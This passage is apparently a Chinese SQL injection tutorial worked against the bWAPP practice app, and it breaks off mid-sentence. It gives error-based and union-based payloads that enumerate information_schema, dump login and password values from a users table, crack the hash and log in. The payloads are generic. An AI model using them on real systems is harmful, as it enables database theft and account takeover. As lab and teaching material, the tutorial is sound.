一、测试流程
1.有报错和回显时的注入
如果有回显(F12看respone)可以用union,然后逐个测试几个显示位,然后替换显示位为我们想看的数据,如
先验证是否有报错注入
2’ and updatexml(1,concat(0x7e,(SELECT database())),0x7e)#
Iron Man’ union select 1,2,3,4,5,6,7#,测试发现有7列
然后替换数据
Iron Man’ union select 1,user(),database(),version(),4,5,6#
拿到数据库名之后接下来拿表名
原始语句是
select table_name FROM information_schema.tables WHERE table_schema = ‘bwapp’;
或者合并起来
select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘bwapp’ limit 0,1;
注入语句是:
Iron Man’ union select 1,user(),database(),version(),(select table_name FROM information_schema.tables WHERE table_schema = ‘bwapp’ limit 0,1),5,6#
修改limit后面的值可以看其他表名
Iron Man’ union select 1,user(),database(),version(),(select table_name FROM information_schema.tables WHERE table_schema = ‘bwapp’ limit 3,1),5,6#
接下来取users的列名
原始语句是
select column_name from information_schema.columns where table_name=‘users’ and table_schema=“bwapp”;
合并后
select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“bwapp”;
注入语句是:
Iron Man’ union select 1,user(),database(),version(),(select column_name from information_schema.columns where table_name=‘users’ and table_schema=“bwapp” limit 2,1),5,6#
接下来取用户名和密码
原始语句大家都知道
select login,password from users;
注入语句是
Iron Man’ union select 1,user(),database(),(select login from users limit 0,1),(select password from users limit 0,1),5,6#
接下来对拿到的加密密码进行解密
使用cmd5解密结果如下
然后用A.I.M./bug登陆试下
登录成功,这样才算一次完整的渗透
2.注入点判断
一般使用单引号’ 判断是否存在注入,看是否存在报错或是其他异常
如